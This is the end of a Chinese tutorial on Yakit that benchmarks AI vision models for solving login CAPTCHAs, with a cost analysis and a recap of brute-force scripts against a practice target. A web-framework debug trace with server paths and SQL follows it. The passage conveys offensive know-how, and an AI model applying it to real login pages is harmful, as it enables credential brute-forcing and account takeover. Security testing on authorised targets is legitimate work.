4.VL 系列(专门对齐视觉的变体)在这道题上反而落后,qwen3-vl-flash 只有 48.33%,qwen3-vl-plus 54.79%、P95 到 3435 ms。"专门 vision" 在这种短字符 OCR 上没体现出优势,模型更大只是把延迟拉了起来。

YAK

价格与性价比

memfit-*-free 都是 aibalance 网关上的免费别名。直接沿用热加载代码的读者不会产生任何费用。

接官方 API 或要在生产环境大规模跑,就得把"每识别成功一次花多少钱"算清楚。这个指标比单次成功率更接近工程决策。

以下按"单次 ≈ 500 input tokens(含图片 vision tokens + prompt)+ 50 output tokens(JSON 结果体)"保守估算。价格取 2026-04 的公开定价,USD / 百万 tokens。

价格来源:pricepertoken / aimodelapis / llmgateway / cloudprice 上公开的 Alibaba DashScope、Moonshot AI 官方定价。官方会不定期调整,以实际账单为准。

三个观察:

1.flash 系列性价比最好。qwen3.5-flash 和 qwen3.6-flash 跑 1000 次成功识别约 ¥0.57~¥0.58,一毛钱都没到。

2.kimi-k2.5 跑 1000 次要 ¥5.71,是 flash 系列的 10 倍。倍数的来源:单价贵 6 倍($0.383 vs $0.065 输入),单次成功率只有 flash 的一半(35.02% vs 57.49%),两者相乘就是 10 倍。再叠上每次 10 秒的延迟,工程上不值。

3.VL-Plus 和 Plus-no-thinking 夹在中间。VL-Plus 单价是 flash 的 3~6 倍,耗时更长,1000 次 ¥2.37;Plus-no-thinking 单次成功率只比 flash 高 0.04 pp,但单价贵 6 倍,1000 次 ¥3.25。花 6 倍的钱换统计噪声里的 0.04 pp,工程上不划算。

性价比排序:

flash 系列 ≫ VL-Plus ≈ Plus-no-thinking ≫ VL-Flash ≫ Kimi K2.5

YAK

重试之后的累积成功率

单次成功率看起来都不算高(最高 57.53%,最低 35.02%)。但回到前面那个公式:

把六个 P代入,得到 1~6 次累积成功率:

几个观察:

  • 只要单次成功率到 55% 以上,6 次重试就稳定在 99%+。1000 个密码最多 6~10 个会因连续失败漏掉,这个比例在爆破场景完全可以接受。

  • Kimi k2.5 6 次累积只有 92.47%,想摸到 99% 要重试 8 次以上。叠上每次 10 秒的延迟,一个验证码平均要花 63 秒,吞吐量基本不可接受。六个模型里唯一"重试也救不回来"的。

  • 3.5-flash 和 3.6-plus-no-thinking 6 次后都能到 99.41%,重试友好型并列第一。

七、结论与选择建议

综合单次成功率、耗时、稳定性、价格四个维度:

  • 整体最推荐:memfit-qwen3.6-flash-free。单次 56.90%、平均 1226 ms、P95 1970 ms,6 次重试 99.36%,1000 次成功 ¥0.58。四项指标同时到一线的只有它一个。

  • 成本最敏感:memfit-qwen3.5-flash-free。表现和 3.6-flash 等价(57.49%、1364 ms),1000 次 ¥0.57。

  • 单次精度优先、对成本不敏感memfit-qwen3.6-plus-no-thinking-free。57.53% 只比 flash 高 0.04 pp,1000 次 ¥3.25,6 倍价差买回来的差距在统计噪声里。场景明确要求"一次就打准"才值得。

  • 最快出结果、命中率无所谓:memfit-qwen3-vl-flash-free。平均 1178 ms,墙钟最短,48.33% 的单次成功率靠多次重试兜底,1000 次 ¥0.67。

  • 不推荐:memfit-qwen3-vl-plus-free。准确率中等 54.79%,延迟最高 P95 3435 ms,1000 次 ¥2.37。三个维度同时落后。

  • 不要用在验证码识别:memfit-kimi-k2.5-free。35% 单次成功率、10 秒耗时、1000 次 ¥5.71(flash 的 10 倍)。窄域 OCR 这种场景里,大模型的通用推理能力反倒成了拖累。

YAK

关于默认模型 memfit-vision-free

热加载代码里我们一直写的是 ai.model("memfit-vision-free")——aibalance 网关上暴露的默认验证码识别模型。这里说一句实现细节:

memfit-vision-free 在服务端为了平衡使用效果和成本,底层复用了 qwen3.5-flash

也就是说,直接沿用前面热加载代码、不显式切换模型,得到的就是上面表里 memfit-qwen3.5-flash-free 那一行的表现:单次 57.49%、平均 1364 ms、6 次重试累积 99.41%。默认值挺稳,绝大多数场景不用手动换。

目标验证码明显更难、或想把延迟压到更低的读者,回到上面五条建议里挑一条切换即可。Benchmark 脚本可以原样复用,--model 换掉就行。


跑完这轮 Benchmark 笔者的体会:在"图进、四字符出"这种窄域任务上,选专门优化短输出延迟的 flash 系列小模型就够用。模型越大越好的直觉在这里不成立,硬上 kimi k2.5,准确率、耗时、账单三项会同时变差一个数量级。

前面设计的 beforeRequest + retryHandler 两钩子闭环,在 flash 系列任意一个模型下都能稳定兜住 99% 的有效识别率。模型选择只影响爆破速度和预算。

YAK

总结

在本文中,我们以验证码保护的登录表单为案例,走过了一条完整的渗透测试思路链:

1.发现逻辑漏洞通过实战测试,我们发现了靶场验证码的一个逻辑漏洞——验证码使用后未被删除,可以无限复用。这种漏洞在真实场景中并不少见,AI 只需识别一次就足以完成全部爆破。

2.面对安全实现当验证码被正确实现(每次提交后立即作废)时,我们编写了基础版(串行)和进阶版(并发)两个爆破脚本。串行版逻辑清晰,适合理解流程;并发版利用 sync.NewSizedWaitGroup 多 worker 并行,大幅提升效率。

3.Web Fuzzer 热加载方案把验证码识别逻辑封装到 beforeRequest 中,配合 Yakit GUI 直接使用,适合需要灵活调整参数的场景。

4.Benchmark 验证用数据证明了 AI 识别验证码的可靠性,给这个方案提供了信心基础。

整个方案的核心就是 ai.FunctionCall 这一个函数调用。不用部署 Python 环境,不用买接码服务,Yakit 中配好 AI 网关就可以直接用。

当然,验证码只是 AI 在渗透测试中的一个切入点。ai.FunctionCall 能做的事情还有很多——比如从 JavaScript 代码中提取 API 路径、从页面内容中识别敏感信息、从错误响应中提取数据库类型。凡是需要"从一段内容里按格式提取信息"的场景,都可以用类似的思路来处理。

工欲善其事,必先利其器。笔者相信,在跟着本文完成了验证码识别这个流程之后,大家对 Yaklang AI 模块的使用一定已经更加得心应手了。

END 

YAK官方资源 

Yak 语言官方教程:https://yaklang.com/docs/intro/Yakit 视频教程:https://space.bilibili.com/437503777Github下载地址:https://github.com/yaklang/yakitYakit官网下载地址:https://yaklang.com/Yakit安装文档:https://yaklang.com/products/download_and_installYakit使用文档:https://yaklang.com/products/intro/常见问题速查:https://yaklang.com/products/FAQ

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-05-09 05:34:39 HTTP/1.1 GET : https://www.yeyulingfeng.com/a/589584.html
  2. 运行时间 : 0.115469s [ 吞吐率:8.66req/s ] 内存消耗:4,881.13kb 文件加载:145
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=f48c6b9e1df0cce394b250b56289d5db
  1. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/autoload_static.php ( 6.05 KB )
  7. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/ralouphie/getallheaders/src/getallheaders.php ( 1.60 KB )
  10. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  11. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  12. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  13. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  14. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  15. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  16. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  17. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  18. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  19. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/guzzlehttp/guzzle/src/functions_include.php ( 0.16 KB )
  21. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/guzzlehttp/guzzle/src/functions.php ( 5.54 KB )
  22. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  23. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  24. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  25. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/provider.php ( 0.19 KB )
  26. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  27. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  28. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  29. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/common.php ( 0.03 KB )
  30. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  32. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/alipay.php ( 3.59 KB )
  33. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  34. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/app.php ( 0.95 KB )
  35. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/cache.php ( 0.78 KB )
  36. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/console.php ( 0.23 KB )
  37. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/cookie.php ( 0.56 KB )
  38. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/database.php ( 2.48 KB )
  39. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/filesystem.php ( 0.61 KB )
  40. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/lang.php ( 0.91 KB )
  41. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/log.php ( 1.35 KB )
  42. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/middleware.php ( 0.19 KB )
  43. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/route.php ( 1.89 KB )
  44. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/session.php ( 0.57 KB )
  45. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/trace.php ( 0.34 KB )
  46. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/view.php ( 0.82 KB )
  47. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/event.php ( 0.25 KB )
  48. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  49. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/service.php ( 0.13 KB )
  50. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/AppService.php ( 0.26 KB )
  51. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  52. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  53. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  54. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  55. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  56. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/services.php ( 0.14 KB )
  57. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  58. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  59. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  60. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  61. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  62. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  63. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  64. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  65. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  66. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  67. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  68. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  69. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  70. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  71. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  72. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  73. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  74. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  75. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  76. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  77. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  78. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  79. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  80. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  81. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  82. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  83. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  84. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  85. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  86. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  87. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/Request.php ( 0.09 KB )
  88. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  89. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/middleware.php ( 0.25 KB )
  90. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  91. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  92. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  93. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  94. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  95. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  96. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  97. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  98. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  99. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  100. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  101. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  102. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  103. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/route/app.php ( 3.94 KB )
  104. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  105. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  106. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/controller/Index.php ( 9.87 KB )
  108. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/BaseController.php ( 2.05 KB )
  109. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  110. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  111. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  112. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  113. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  114. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  115. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  116. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  117. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  118. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  119. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  120. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  121. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  122. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  123. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  124. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  125. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  126. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  127. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  128. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  129. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  130. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  131. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  132. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  133. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  134. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  135. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/controller/Es.php ( 3.30 KB )
  136. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  137. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  138. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  139. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  140. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  141. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  142. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  143. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  144. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/runtime/temp/c935550e3e8a3a4c27dd94e439343fdf.php ( 31.50 KB )
  145. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.000648s ] mysql:host=127.0.0.1;port=3306;dbname=wenku;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000923s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000343s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000287s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000712s ]
  6. SELECT * FROM `set` [ RunTime:0.000294s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000875s ]
  8. SELECT * FROM `article` WHERE `id` = 589584 LIMIT 1 [ RunTime:0.000704s ]
  9. UPDATE `article` SET `lasttime` = 1778276079 WHERE `id` = 589584 [ RunTime:0.002968s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 64 LIMIT 1 [ RunTime:0.000333s ]
  11. SELECT * FROM `article` WHERE `id` < 589584 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.000589s ]
  12. SELECT * FROM `article` WHERE `id` > 589584 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.000534s ]
  13. SELECT * FROM `article` WHERE `id` < 589584 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.001314s ]
  14. SELECT * FROM `article` WHERE `id` < 589584 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.007102s ]
  15. SELECT * FROM `article` WHERE `id` < 589584 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.001137s ]
0.119335s